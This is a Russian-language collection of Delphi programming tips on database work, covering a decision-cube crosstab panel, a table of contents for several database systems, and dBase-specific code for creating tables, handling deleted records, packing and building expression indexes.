Левая часть имеет единственную кнопку, щелчок на которой позволяет сделать выбор суммирующего поля из развернувшегося списка. Элементы списка соответствуют вычисляемым полям с использованием агрегатных функций из запроса соответствующего компонента TDecisionQuery.

Выбор поля приводит к изменению значений в ячейках кросстаба. Например, выбор поля с функцией зим изменит значения в ячейках на суммы полей, поле с функцией COUNT произведет подсчет количества элементов в полях.

Средняя часть панели предназначена для размещения кнопок, соответствующих горизонтальным размерностям.

Правая часть панели используется для кнопок, соответствующих вертикальным размерностям.

Кнопка в нажатом состоянии показывает размерность. Одновременно отображается и общая сумма по размерности.

Размерности можно менять местами и перемещать с вертикали на горизонталь и обратно. Для этого можно выбрать команду Moved to Column Area из всплывающего меню кнопки. Во время выполнения можно использовать обычное перетаскивание кнопок при помощи мыши.

Всплывающее меню кнопки размерности имеет еще одну команду — Drilled In. По этой команде размерность переходит в режим детального просмотра по каждому значению поля. Конкретное значение можно выбрать из списка, который открывается при щелчке на кнопке. В этом случае суммы в ячейках кросстаба рассчитываются не по всей размерности, а только по выбранному значению.


Частные вопросы по конкретным базам данных

Cодержание раздела:

Работа с DBase
· Как создать DBase базу данных?
· Работа с удалёнными записями
· Как паковать таблицу?
· Индексы выражений
· Формат и размер dBase-поля
· Восстановление записи dBase
· При использовании DOS DBF файлов - перекодировка между форматами
· Как создать dBASE таблицу во время выполнения
· Как сделать откат внутри триггера

Работа с Oracle
· Доступ к Oracle через ADO
· Как напрямую добраться до Oracle?
· Как при выполнении долгой операции в Oracle показать прогресс бар?
· Подключение к Personal Oracle с помощью BDE
· Как выяснить номер версии Oracle?
· Как получить текущую дату?
· Связь с personal Oracle
· Как на Oracle поменять compatible
· Как настроить Personal Oracle с русским языком на корректную работу с числами и BDE
· Понятия Instance, Database etc
· Доступ к объекту Oracle
· компонент TStoredProc
· Как корректно прервать выполнение SQL-запроса?

Работа с MS Access
· Возникает сложность копирования MS Access
· Создание новой MS Access базы данных
· Как создать таблицу в MS Access при помощи DAO?
· Как открыть базу данных Microsoft Access .MDB в Delphi?
· Как можно открыть отчёт (в режиме Print Preview а также print direct) в MS Access ?
· Как паковать базу данных
· Как скопировать таблицу из одной базы данных в другую?
· Как узнать номер автоинкремента при вставке новой записи?
· Как найти пароль к базе данных?
· Примеры работы с репортами
· Как экспортировать все таблицы в CSV файл?
· Why can’t I connect to an Access database using the BDE and native MSACCESS driver?
· Использование таблиц Access при помощи ODBC
· Записываем в Access используя OLE DB
· Как получить список таблиц в базе Access?
· Help по синтаксису SQL для MS Access (DAO/ADO/ODBC)

Работа с MS SQL Server
· Как узнать, доступен ли в сети сервер MS SQL?
· Как удалить таблицу?
· Extended Stored Procedures with Delphi - Using the ODS (Open Data Services) Api from Delphi
· Самый быстрый способ узнать количество записей в таблице
· Как узнать версию сервера?
· Как найти все Alias, укакзывающие на MS SQL Server?
· Разработка внешних Stored Procedures
· Блокируется таблица в MS SQL Server

Работа с Interbase
· Как предотвратить появление login dialog?
· Как получить текущее время?
· Как получить список таблиц?
· Как восстановить целостность автоинкрементного поля?
· Как остановить или запустить IB сервис?
· Ошибка: lock manager out of room
· Ошибка о файле SAA.AAA
· Как гарантированно сделать backup?
· Проблемы с автоинкрементальными полями
· Изображения и InterBase Blob-поля
· Работает-ли IB с русскими буквами?
· Как я могу работать с IB с клиентского компьютера?
· Можно-ли создать пользователя БД при помощи SQL-команды?
· Есть-ли способ восстановить несохраненные (uncommitted) изменения БД, например в случае отключения питания?
· Можно-ли в запросах делать поиск по BLOB?
· Можно-ли создать индекс по полю view?
· Почему в операторе SELECT для VIEW нельзя использовать ORDER BY?
· Как скопировать данные между БД?
· Как избавиться от ошибки multiple rows in singleton select?
· Мне нужны временные таблицы, но их нет в IB. Что делать?
· В чем разница между CHAR и VARCHAR ? Что лучше использовать?
· Можно-ли поместить БД IB на CD-ROM?
· Как выполнить create procedure/trigger при помощи TQuery?
· Не могу подсоединиться к IB из под web-сервера IIS, Netscape, Baikonur и др.
· Ошибка при установке Internal error near IBcheck
· Автоматический logon к локальной InterBase
· Interbase BLOB-поля
· Удаление большого количества записей
· Установка Interbase и добавление пользователя
· Создание UDF для InterBase
· При попытке регистрации UDF возникает ошибка - udf not defined
· Переход с Oracle на Interbase
· Как установить клиента InterBase
· В InterBase при создании базы ввести параметр для поддержки русского языка
· OLE и Interbase - прочесть и записать

Работа с Foxpro
· Ограничения Foxpro
· Access to table disabled because of previous error. Read failure

Работа с MySQL
· Как подсоединиться к MySQL

Работа с Paradox
· Как назначить пароль на таблицу?
· Как изменить языковый драйвер в runtime?
· Как пересоздать индексы?
· Ограничения Paradox
· Reading the autoincrement value of Paradox table
· Имя пользователя Paradox
· Ввести пароль Paradox
· Печать структуры таблицы Paradox
· Вскрытие запароленной таблицы Paradox
· Размеры полей таблицы Paradox
· Как упаковать таблицу?
· Создание таблицы с автоинкрементальным полем
· не сохраняются изменения в базе Paradox
· Каскадированное удаление с проверкой целостности Paradox
· Как уменьшить дату в Paradox
· Как сменить пароль (master password) для таблицы Paradox
· Доступ к таблицам Paradox на CD или c флагом только для чтения
· Paradox и неверные индексы Win95
· Byte-поля Paradox

Работа с ASCII файлами, CSV файлы
· Импорт CSV ASCII
· Формат файла ASCII-схемы
· Как экспортировать таблицу базы данных в ASCII-файл?
· Как сохранить содержимое таблицы в текстовый файл?
· ASCII драйвер для CSV-файлов
· ASCII-файл с использованием полей
· Читаем CSV текстовый файл в StringGrid
· Импорт большого CSV файла
· Быстрая обработка CSV файла
· RecCount в таблицах ASCII

Работа с Clipper
· Работа с индексами Clipper'а

Работа с DB/2
· Почему DB2 ругается на Create Trigger
· Как заставить работать DB2 через протокол IPX
· Как создать БД в кодировке CP1251

Работа с SyBase
· 32-битное соединение с сервером Sybase

Другие базы данных
· Berkeley DB
· ObjectHaven
· Advantage Database Server


Работа с DBase

Cодержание раздела:

Как создать DBase базу данных?
Работа с удалёнными записями
Как паковать таблицу?
Индексы выражений
Формат и размер dBase-поля
Восстановление записи dBase Updated!
При использовании DOS DBF файлов - перекодировка между форматами
Как создать dBASE таблицу во время выполнения
Как сделать откат внутри триггера
Удалить dbase index flag New!
Index not found Exception New!
Создание/пересоздание индекса New!
Показ меток удаленных записей в dBASE-файлах New!
DBASE - Индексы выражений New!
Определение номера записи в таблице dBASE New!
DBFSeek и DBFLocate New!
Обработка исключения index not found New!

См. также статьи в других разделах:
Какой формат данных предпочесть в Delphi? DBase или Paradox?
Как восстановить повреждённую таблицу? New!


Как создать DBase базу данных?

procedure MakeDataBase;
begin
  with TTable.Create(nil) do
  begin
    DatabaseName := 'c:\temp'; (* alias *)
    TableName := 'test.dbf';
    TableType := ttDBase;
    with FieldDefs do
    begin
      Add('F_NAME', ftString, 20, false);
      Add('L_NAME', ftString, 30, false);
    end;
    CreateTable;
    { create a calculated index }
    with IndexDefs do
    begin
      Clear;
      { don't forget ixExpression in calculated indexes! }
      AddIndex('name', 'Upper(L_NAME)+Upper(F_NAME)', [ixExpression]);
    end;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с удалёнными записями

procedure TForm1.Table1AfterOpen(DataSet: TDataset);
begin
  SetDelete(Table1, TRUE);
end;

procedure SetDelete(oTable: TTable; Value: Boolean);
var
  rslt: DBIResult;
  szErrMsg: DBIMSG;
begin
  try
    oTable.DisableControls;
    try
      rslt := DbiSetProp(hDBIObj(oTable.Handle), curSOFTDELETEON,
        LongInt(Value));
      if rslt <> DBIERR_NONE then
      begin
        DbiGetErrorString(rslt, szErrMsg);
        raise Exception.Create(StrPas(szErrMsg));
      end;
    except
      on E: EDBEngineError do
        ShowMessage(E.Message);
      on E: Exception do
        ShowMessage(E.Message);
    end;
  finally
    oTable.Refresh;
    oTable.EnableControls;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

В таблицах dBASE записи не удаляются до тех пор, пока таблица не будет упакована. Пока же это не произойдет, удаленные записи остаются в таблице, только имеют при этом флажок "к удалению". Для того, чтобы показать эти существующие, но не отображаемые записи, существует функция ShowDeleted(), которая использует функцию BDE API DbiSetProp(), показывающая записи, помеченные к удалению. При использовании этой функции нет необходимости закрывать и вновь открывать таблицу. ShowDeleted() в качестве параметров передается TTable и логическое значение. Логический параметр указывает на необходимость показа удаленных записей.

Демонстрационный проект:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, DBCtrls, Grids, DBGrids, DB, DBTables;

type
  TForm1 = class(TForm)
    Table1: TTable;
    DataSource1: TDataSource;
    DBGrid1: TDBGrid;
    DBNavigator1: TDBNavigator;
    CheckBox1: TCheckBox;
    procedure CheckBox1Click(Sender: TObject);
  public
    procedure ShowDeleted(Table: TTable; ShowDeleted: Boolean);
  end;

var
  Form1: TForm1;

implementation

uses DBITYPES, DBIERRS, DBIPROCS;

{$R *.DFM}

procedure TForm1.ShowDeleted(Table: TTable; ShowDeleted: Boolean);
var
  rslt: DBIResult;
  szErrMsg: DBIMSG;
begin
  Table.DisableControls;
  try
    Check(DbiSetProp(hDBIObj(Table.Handle), curSOFTDELETEON,
      LongInt(ShowDeleted)));
  finally
    Table.EnableControls;
  end;
  Table.Refresh;
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  ShowDeleted(Table1, CheckBox1.Checked);
end;

end.

Взято с http://delphiworld.narod.ru

Показ меток удаленных записей в dBASE-файлах

Для начала вы должны включить SoftDeletes, после чего вы сможете просматривать записи, помеченные к удалению. В противном случае, вы их не увидите. По умолчанию, для файлов DBF, SoftDeletes установлен в False. Вот логика работы:

procedure TForm1.Button1Click(Sender: TObject);
var
  B: BOOL;
  W: Word;
begin
  Check(DbiSetProp(hDBIObj(Table1.Handle), curSOFTDELETEON,
    longint(True)));
  { Проверяем, что это работает }
  Check(DbiGetProp(hDBIObj(Table1.Handle), curSOFTDELETEON, @B,
    sizeof(B), W));
  if B = False then
    Label2.Caption := 'Не помечена'
  else
    Label2.Caption := 'Помечена';
end;

Когда указатель на запись указывает на запись, которую вы хотите удалить, используйте следующую логику:

Table1.UpdateCursorPos;
Check(DbiUndeleteRecord(Table1.Handle));

Метод UpdateCursorPos устанавливает основной курсор BDE на позицию курсора текущей записи, который существуют только для того, чтобы все работало правильно. Вам нужно только вызвать этот метод прямым вызовом одной из BDE API функций (такой как, например, DbiUndeleteRecord).

Ну и, наконец, чтобы все работало, поместите модули DBIPROCS и DBITYPES с список USES.

Взято с http://delphiworld.narod.ru

Взято из "Dtopics Database 1.10 from 3K computer Consultancy":

Пакование таблиц

with Table1 do
  StrPCopy(TName, TableName);
Result := DBIPackTable(DbHandle, Handle, TName, szDBASE, TRUE);

Задание видимости удаленных записей - вкл/выкл (например, dBase SET DELETED ON/OFF)

DbiSetProp( hDBIObj(Table1.Handle), curSOFTDELETEON, LongInt(bValue));


Как паковать таблицу?

function dgPackParadoxTable(Tbl: TTable; Db: TDatabase): DBIResult;
{Packs a Paradox table by calling the BDE DbiDoRestructure function. The TTable passed as the first parameter must be closed. The TDatabase passed as the second parameter must be connected.}
var
  TblDesc: CRTblDesc;
begin
  Result := DBIERR_NA;
  FillChar(TblDesc, SizeOf(CRTblDesc), 0);
  StrPCopy(TblDesc.szTblName, Tbl.TableName);
  TblDesc.bPack := True;
  Result := DbiDoRestructure(Db.Handle, 1, @TblDesc, nil, nil, nil, False);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

uses
  DbiProcs;

with Table do
begin
  OldState := Active;
  Close;
  Exclusive := True;
  Open;

  DbiPackTable(DBHandle, Handle, nil, nil, True);
  {^ здесь можно добавить check()}

  Close;
  Exclusive := False;
  Active := OldState;
  { при желании можно сохранить закладку }
end;

Nomadic

Взято с http://delphiworld.narod.ru


Индексы выражений

dBASE - Индексы выражений (Expression Indexes): Введение

Индексы для таблиц dBASE могут базироваться на значениях из отдельной области, нередактируемых данных, или на основе выражений. Индексы выражений, уникальные для индексов dBASE, могут формироваться на основе нескольких полей, измененных значений полей или их комбинаций. Выражение для dBASE-индекса создаются с использованием dBASE-функций и синтаксиса для конкатенации нескольких полей или изменения значений поля для полей, включенных в выражения индекса.

В конце данного совета включены два небольших раздела, описывающих механику создания индексов выражений dBASE, один относится к утилите Database Desktop, другой - к приложениям Delphi.

Индексные выражения на основе множества полей

Функции dBASE доступны для применения в Delphi или Database Desktop для ускоренного использования в выражениях индекса, и затем только в связи с индексами dBASE. То есть, вы не сможете использовать функции dBASE или синтаксис для создания выражения индекса для таблицы Paradox или Local InterBase Server (LIBS). Функции dBASE не могут использоваться при программировании в Delphi. Они доступны только для выражений индесов dBASE. Синтаксис и функции dBASE, которые могут быть использованы для выражений индексов, "расположены" в библиотечном файле Borland Database Engine (BDE) IDDBAS01.DLL.

При создании индекса dBASE, который должен базироваться на двух или более полях таблицы, для которой он создается, два или более поля конкатенируются (связываются вместе) в величине, которая в некоторой степени похожа на Delphi тип String, с использованием синтакса Delphi: оператор "+". Например, выражению необходимо создать индекс, который должен базироваться в первую очередь на основе поля LastName, а затем на основе поля FirstName:

LastName + FirstName
В отличие от самого dBASE, такие индексы, основанные на нескольких полях, ограничены использованием таких же полей в таблице. dBASE допускает создание индексов, основанных на нескольких полях, содержищихся в другой таблице. Это позволяет во время создания индекса иметь открытую только "другую" таблицу или использовать таблицу, содержащую индекс.
У индексов с несколькими полями для других типов таблиц (например, Paradox и InterBase), используемые поля должны быть разделены точкой с запятой (;), как показано ниже:

LastName;FirstName
В выражениях индекса dBASE, в которых конкатенируются несколько полей, фактическое выражение должно выглядеть следующим образом:

LastName + FirstName
При создании индексных выражений, которые конкатенируют два и более поля, все включенные поля должны иметь одинаковый тип. К тому же, если они должны конкатенироваться, вместо складывания, то все поля должны иметь тип String. Например, для двух целочисленных полей, Value1 и Value2, выражение индекса...

Value1 + Value2
...не вызовет ошибку. Но в этом случае произойдет конкатенация двух значений полей и они суммируются. Таким образом, если Value1 для данной записи содержало 4, а Value2 - 5, результирующий индексный узел будет целой величиной 9, а не строковой конкантенацией "45".
Если поля, включенные в выражение индекса, имеют не строковый тип, они должны быть преобразованы. Вот некоторые функции dBASE, преобразовывающие различные типы данных к строковому типу для использования в выражениях индекса:

STR( [, [, ]])
Преобразовывает dBASE-тип Float или Numeric в Character (String)

DTOS()
Преобразовывает значение Date к Character, формат YYYYMMDD

MLINE(, )
Извлекает отдельную строку из Memo-поля как значение Character
Другое ограничение при создании индексов путем конкантенации нескольких полей - максимально допустимая длина индексной величины. Величина, возвращаемая индексным значением, не может превышать 100 символов. Это предел длины значения, возвращаемого выражением, не длина самого выражения. Например, вы не можете создать индекс путем конкантенации двух полей, если они оба имееют длину 255 символов.

Индексные выражения на основе модификации значений полей

Дополнительно к созданию индексов, основанных на конкатенации значений двух и более полей, также возможно создать индекс, основанный на модификации значений полей. Примером этого может служить создание индекса на основе первых трех символов поля типа String, года и месяца поля с типом Date, индекс с использованием конкантенации полей с типами String и Date, где значение поля типа String отсортировано по возрастающей, а поле, имеющим тип Date - по убывающей, и даже создание индекса на основе поля с логическим типом.

Создание индексов на основе модификации значений полей требует, по крайней мере, практическое знание функций dBASE и синтаксиса, поскольку данная технология использует dBASE, а не функции и синтаксис Delphi. Функция dBASE SUBSTR() извлекает подстроку из поля типа String. Delphi-эквивалент данной dBASE-функции - Copy. Но только dBASE функция SUBSTR() может применяться при создании индексного выражения dBASE.

Использование фунций dBASE в индексных выражениях dBASE заключается в простом включении в индексное выражение функции, использование в функциях dBASE-синтаксиса и имени (имен) поля (полей), использующихся в функциях. Например, индексное выражение на основе трех последних символов значения поля типа String с именем Code, имеющим длину 20 символов выглядит так:

RIGHT(Code, 3)
Важно соблюдение следующего правила: конструкции индексных выражений dBASE, модифицирующих значения полей, должны возвращать величину с "последовательной длиной" для каждой записи таблицы, т.е. результат не должен содержать граничных пробелов. Например, функция dBASE TRIM() удаляет граничные пробелы (ASCII код 32) из значения поля типа String. Если это было использовано вместе с конкантенацией двух полей, имеющих тип String, где поле не имеет постоянной длины для разных записей, длина результирующего значения будет различная для всех записей. В свете этого рассмотрим следующий пример: построим индексное выражение на основе конкантенации полей LastName и FirstName field, где функция TRIM() применена к полю LastName:

TRIM(LastName) + FirstName
Данное выражение не возратит значения "последовательной длины" для всех записей. Если поля LastName и FirstName содержали значения...

  LastName  FirstName
  --------  ---------
  Smith     Jonas
  Wesson    Nancy

...то результат использования индексного выражения может быть таким:

SmithJonas
WessonNancy

Как вы можете наблюдать, длина значения первого поля равна 10 символов, тогда как второго - 11 символов. Узлы индекса для данного индексного выражения должны базироваться на значении поля первой ненумерованной записи. Следовательно, результат выражения индекса для каждого узла должен быть равен 10 символов. В нашем примере результат вычисления для второй записи округляется до "WessonNanc". Все это приводит к тому, что поиск, основанный на поиске полных значений в полях, окончится неудачей.
Решение это дилеммы кроется в не использовании функции TRIM(), а в использовании полной длины значений поля LastName, включая граничные пробелы. В индексах, которые используют функции IIF() для установления порядка одного поля или другого, основанных на сравнении логических выражений в IIF(), если два поля имеют различную длину, более короткое поле должно быть заполнено пробелами до длины большей области. Для примера, создавая индекс с использованием функции IIF(), и индексируя поля Company или Name, базирующийся на поле Category, и где поле Company длиной 40 символов, а поле Name длиной 25 симловов, поле Name необходимо дополнять 15-ю пробелами; например, с помощью dBASE-функции SPACE(). Выражение индекса в этом случае будет таким:

IIF(Category = "B", Company, Name + SPACE(15))
Поиск и выражения индексов dBASE
Выражения индексов dBASE являются исключениями из правил в том, как они обрабатываются Delphi и BDE, по сравнению с обработкой индексов таблиц другого типа, также основанных на множестве полей.

Это вынуждает вынести dBASE-индексы в отдельный класс. Обработка таких индексов в Delphi и BDE отличается от обработки индексов для других типов таблиц. Одно из самых существенных различий заключается в том, что не все поисковые инструменты, основанные на индексах и использующие синтаксис Delphi, могут использовать выражения индексов dBASE. FindKey, FindNearest и GotoKey методы компонента TTable не годятся для работы с выражениями индексов. При попытке использования FindKey вы получите сообщение об ошибке: "Field index out of range." (Индекс поля за границами диапазона). При попытке использования метода GotoKey может произойти та же ошибка, или табличный курсор может остаться на месте (визуально искомая величина не найдена). С выражениями индексов может использоваться только метод GotoNearest. Но даже GotoNearest может не работать с некоторыми индексными выражениями. Только с помощью эксперимента можно установить - работает ли метод GotoNearest с данным индексным выражением.

Фильтрация индексных выражений dBASE

Как и основанный на индексах поиск, индексные выражения dBASE при использовании фильтров Delphi также имеют некоторые исключения.

С активным индексным выражением метод SetRange компонента TTable приводит к следующей ошибке: "Field index out of range." (Индекс поля за границами диапазона). Тем не менее, с тем же активным индексным выражением методы SetRangeStart и SetRangeEnd успешно фильтруют набор данных.

Например, выражение индекса с конкантенацией поля LastName и активного FirstName, в приведенном ниже коде, использующем метод FindKey (предполагающий фильтрацию тех записей, где первый символ поля LastName содержит "S"), "вылетит" с ошибкой:

begin
  Table1.SetRange(['S'], ['Szzz'])
end;

Код, приведенный ниже, использует то же активное выражение индекса, но используемый фильтр поля LastName правильно отфильтрует данные, и не вызовет ошибки:

begin
  with Table1 do
    begin
      SetRangeStart;
      FieldByName('LastName').AsString := 'S';
      SetRangeEnd;
      FieldByName('LastName').AsString := 'Szzz';
      ApplyRange;
    end;
end;

И, так же, как и в случае основанного на индексах поиска, успех применения фильтра целиком и полностью зависит от самого индексного выражения. Использование методов SetRangeStart и SetRangeEnd в приведенном примере работало бы с индексом, построенным на основе простой конкантенации двух полей, имеющих тип String. Но если вместо этого выражение было основано на одном или нескольких полях с использованием функции IIF(), тот же самый процесс фильтрации потерпел бы неудачу (хотя и без ошибки).

Несколько полезных советов при создании индексных выражений dBASE

Вот некоторые "удобные" индексные выражения dBASE. Некоторые интуитивно-понятные в достижении своей цели, другие немного "заумные".

Сортировка поля типа Character символов по-возрастающей, поля Date - по-убывающей

С полем типа Character и именем Name, и полем типа Date и именем OrdDate:

Name + STR(OrdDate - {12/31/3099}, 10, 0)
Сортировка поля типа Character по-возрастающей и поля типа Numeric (или Float) по-убывающей
C полем типа Character и именем Company, и полем типа Numeric и именем Amount (поле Amount имеет длину 9 цифр с двумя цифрами после десятичной запятой):

Company + STR(Amount - 999999.99, 9, 2)
Сортировка логического поля
Для того, чтобы записи со значением True располагались впереди записей со значением False в логическом поле с именем Paid, выполните следующее:

IIF(Paid, "A", "Z")
Два поля с типом Numeric (или Float)
Предположим, у нас имеется два поля типа Numeric с пятью и двумя десятичными разрядами, первое поле с именем Price, второе - Quantity:

STR(Price, 5, 2) + STR(Quantity, 5, 2)
Сортировка одного из двух полей в зависимости от выполнения логического условия
Сортировка имен месяцев в поле, имеющим тип Character

Предположим, поле содержит имена месяцев на английском языке ("Jan," "Feb" и т.д.), и его необходимо расположить в соответствующем порядке (имя поля M):

IIF(M="Jan", 1, IIF(M="Feb", 2, IIF(M="Mar", 3, IIF(M="Apr", 4,
IIF(M="May", 5, IIF(M="Jun", 6, IIF(M="Jul", 7, IIF(M="Aug", 8,
IIF(M="Sep", 9, IIF(M="Oct", 10, IIF(M="Nov", 11, 12)))))))))))

(Вышеприведенный код - единственная строка кода, разбирая на несколько из-за ограничений ширины страницы.)
Сортировка по первой строке Memo-поля

Для Memo-поля с именем Notes:

MLINE(Notes, 1)
Сортировка по средним трем символам в девятисимвольном поле типа long
Для девятисимвольного поля типа long с именем StockNo:

SUBSTR(StockNo, 4, 3)
Создание индексных выражений dBASE в Database Desktop
В утилите Database Desktop, индексы могут создаваться как для новой таблицы (во время ее создания), так и для существующей, путем ее реструктуризации. В обоих случаях используется диалог "Define Index", использующийся для создания одного или более индексов таблицы.

Для вывода диалога создания индекса ("Create Index") во время создания новой таблицы, в диалоге создания dBASE таблицы ("Create dBASE Table") (показ структуры), выберите в списке "Table Properties" (свойства таблицы) пункт "Indexes" (индексы) и нажмите на кнопку "Define".

Чтобы вывести диалог создания индекса ("Create Index") при создании индекса для существующей таблицы, выберите Utilities|Restructure, выберите файл с таблицей в диалоге выбора файла ("Select File"), и в диалоге реструктуризации таблицы dBASE ("Restructure dBASE Table") (показ структуры таблицы) выберите в списке "Table Properties" (свойства таблицы) пункт "Indexes" (индексы) и нажмите на кнопку "Define".

Только в диалоге создания индекса ("Create Index"), выражения индекса могут создаваться щелчком на кнопке "Expression Index" (индеск выражения) и вводом выражения в поле редактирования "Expression Index". Для ассистирования данного процесса, вы можете дважды щелкнуть на имени поля с списке полей, после чего имя поля будет помещено в область редактирования "Index Expression" в текущей точке ввода (позиция курсора).

Как только нужное выражение составлено, нажмите кнопку OK. Введите имя нового индексного тэга в поле редактирования "Index Tag Name" (имя индексного тэга") в диалоге "Save Index As" (сохранить индекс как...) и нажмите "OK". (Помните, имена тэгов индексов dBASE не могут превышать десяти символов и должны соблюдать соглашения об именах dBASE.)

Создание индексных выражений dBASE в приложениях Delphi

dBASE-индексы могут создаваться программным путем в Delphi-приложениях как для новой таблицы (метод CreateTable компонента TTable), так и для существующей.

Для создания индекса как части новой таблицы, необходимо вызваться метод Add свойства IndexDefs компонента TTable. В нашем случае необходимо включить в набор флажков индекса флажок ixExpression. Данный флажок уникален для индексов таблиц dBASE, и может использоваться только с индексными выражениями dBASE. Для примера:

with Table1 do
  begin
    Active := False;
    DatabaseName := 'Delphi_Demos';
    TableName := 'CustInfo';
    TableType := ttdBASE;
    with FieldDefs do
      begin
        Clear;
        Add('LastName', ftString, 30, False);
        Add('FirstName', ftString, 20, False);
      end;
    with IndexDefs do
      begin
        Clear;
        Add('FullName', 'LastName + FirstName', [ixExpression]);
      end;
    CreateTable;
  end;

Добавление индекса к существующей таблицы осуществляется вызовом метода AddIndex компонента TTable. Кроме того, флажки индекса должны включать в себя значение TIndexOptions ixExpression.

    Table1.AddIndex('FullName', 'LastName + FirstName', [ixExpression]);

Изучение функций и синтаксиса dBASE

Для создания индексных выражений dBASE могут использоваться только функции и синтакс, относящиеся к обработке данных. Тем не менее, полный список и описание данных функций выходит за рамки данного совета. Для получения дополнительной информации о dBASE-функциях обработки данных, обратитесь к руководству "dBASE Language Reference" или книгам и справочникам по dBASE третьих фирм.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Формат и размер dBase-поля

procedure GetdBaseFieldTypes(t: TTable; var l: TStringList);
var
  pF: pFLDDesc;
  cProps: CURProps;
  p: pFLDDesc;
  i: Byte;
  w: Word;
  s: string;
  oldmode: LongInt;
begin
  Check(DbiGetCursorProps(t.Handle, cProps));
  Check(DbiGetProp(hDBIObj(t.Handle), curXLTMODE, oldmode, SizeOf(LongInt), w));
  Check(DbiSetProp(hDBIObj(t.Handle), curXLTMODE, LongInt(xltNONE)));
  try
    if MaxAvail < (cProps.iFields * SizeOf(FLDDesc)) then
      raise EOutofMemory.Create('Недостаточно памяти для процесса');
    GetMem(pF, (cProps.iFields * SizeOf(FLDDesc)));
    Check(DbiGetFieldDescs(t.Handle, pF));
    p := pF;
    for i := 1 to cProps.iFields do
      begin
        with p^ do
          begin
            s := IntToStr(iFldNum) + ' : ' + StrPas(szName) + ' : ';
            case iFldType of
              fldDBCHAR:
                begin { Char string, строка символов }
                  s := s + 'CHARACTER(' + IntToStr(iUnits1) + ')';
                end;
              fldDBNUM:
                begin { Number, число }
                  s := s + 'NUMBER(' + IntToStr(iUnits1) + ',' + InttoStr(iUnits2) + ')';
                end;
              fldDBMEMO:
                begin { Memo (blob), МEMO-BLOB-поле }
                  s := s + 'MEMO';
                end;
              fldDBBOOL:
                begin { Logical, лочическая величина }
                  s := s + 'LOGICAL';
                end;
              fldDBDATE:
                begin { Date, поле даты }
                  s := s + 'DATE';
                end;
              fldDBFLOAT:
                begin { Float, числа с плавающей точкой }
                  s := s + 'FLOAT(' + IntToStr(iUnits1) + ',' + InttoStr(iUnits2) + ')';
                end;
              fldDBLOCK:
                begin { Логический тип LOCKINFO }
                  s := s + 'LOCKINFO';
                end;
              fldDBOLEBLOB:
                begin { OLE object (blob), OLE-объект, BLOB-поле }
                  s := s + 'OLE';
                end;
              fldDBBINARY:
                begin { Binary data (blob), двоичные данные, BLOB-поле }
                  s := s + 'BINARY';
                end;
            else
              s := s + 'НЕИЗВЕСТНО';
            end;
          end;
        l.Add(s);
        Inc(p);
      end;
  finally
    Check(DbiSetProp(hDBIObj(t.Handle), curXLTMODE, oldmode));
    FreeMem(pF, (cProps.iFields * SizeOf(FLDDesc)));
  end;
end;

-Eryk Bottomley
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Восстановление записи dBase

function GetTableCursor(oTable: TTable): hDBICur;
var
  szTable: array[0..78] of Char;
begin
  StrPCopy(szTable, oTable.TableName);
  DbiGetCursorForTable(oTable.DBHandle, szTable, nil, Result);
end;

function dbRecall(oTable: TTable): DBIResult;
begin
  Result := DbiUndeleteRecord(GetTableCursor(oTable)));
end;

Предположим, у вас на форме имеется кнопка (с именем 'butRecall'), восстанавливающая текущую отображаемую (или позиционируемую курсором) запись, данный код, будучи расположенный в обработчике события кнопки OnClick (вместе с опубликованным выше кодом), это демонстрирует (продвигаясь в наших предположених дальше, имя вашего объекта TTable - Table1 и имя текущей формы - Form1):

procedure TForm1.butRecallClick(Sender: TObject);
begin
  if dbRecall(Table1) <> DBIERR_NONE then
    ShowMessage('Не могу восстановить запись!');
end;

- Loren Scott
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

procedure RecordUndelete(aTable: TTable);
begin
  aTable.UpdateCursorPos;
  try
    Check(DbiUndeleteRecord(aTable.Handle));
  except
    ShowMessage('No undelete performed.');
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


При использовании DOS DBF файлов - перекодировка между форматами

При использовании DOS DBF файлов можно сделать небольшую программку (или процедурку), которая произведет перекодировку между форматами. что-то типа:

function update_dos(s:string):string;
var c:STRING;
    I:INTEGeR;
    l:byte;
    dd:char;
begin
 i:=1;
 c:='';
 while i< length(s)+1 do
 begin
   l:=ord(s[i]);
   inc(i);
   if (l>=128) and (l<=192)then l:=l+64 else
   if (l>=224) and (l<240) then l:=l+16 else
   if l=241 then l:=184 else
   if l=240 then l:=168;
   dd:=chr(l);
   c:=c+dd;
 end;
update_dos:=c;
end;

function update_win(s:string):string;
var c:STRING;
    I:INTEGeR;
    l:byte;
    dd:char;
begin
 i:=1;
 c:='';
 while i< length(s)+1 do
 begin
   l:=ord(s[i]);
   inc(i);
   if (l>=192) and (l<240)then l:=l-64 else
   if (l>=240) and (l<256) then l:=l-16 else
   if l=184 then l:=241 else
   if l=168 then l:=240;
   dd:=chr(l);
   c:=c+dd;
 end;
update_win:=c;
end;

это и туда и обратно, у меня работает на старых DBF. Осталось только вызвать в нужный момент.

Взято с http://delphiworld.narod.ru


Как создать dBASE таблицу во время выполнения

Данная процедура полезна для создания временных таблиц :

 procedure MakeDataBase;
 begin
   with TTable.Create(nil) do
   begin
     DatabaseName  := 'c:\temp';  (* alias *)
     TableName     := 'test.dbf';
     TableType     := ttDBase;
     with FieldDefs do
     begin
       Add('F_NAME', ftString,20,false);
       Add('L_NAME', ftString,30,false);
     end;
     CreateTable;
     { create a calculated index }
     with IndexDefs do
     begin
       Clear;
       { don't forget ixExpression in calculated indexes! }
       AddIndex('name','Upper(L_NAME)+Upper(F_NAME)',[ixExpression]);
     end;
   end;
 end;

Взято с http://delphiworld.narod.ru


Как сделать откат внутри триггера

Внутри триггера нельзя управлять транзакциями, поэтому генерируешь там исключение а откат транзакции делаешь в приложении, пославшем запрос. Естественно exception должен предварительно создан

SET TERM !!;

CREATE TRIGGER " DELETE_INV"  FOR " TINV"
    ACTIVE BEFORE DELETE
    POSITION 10
    AS
    BEGIN
        IF (EXISTS (SELECT tOst.Id FROM tOst
                    WHERE tOst.Id = tInv.Id))
        THEN
            EXCEPTION EST_OSTATOK;
    END !!

SET TERM ;!!

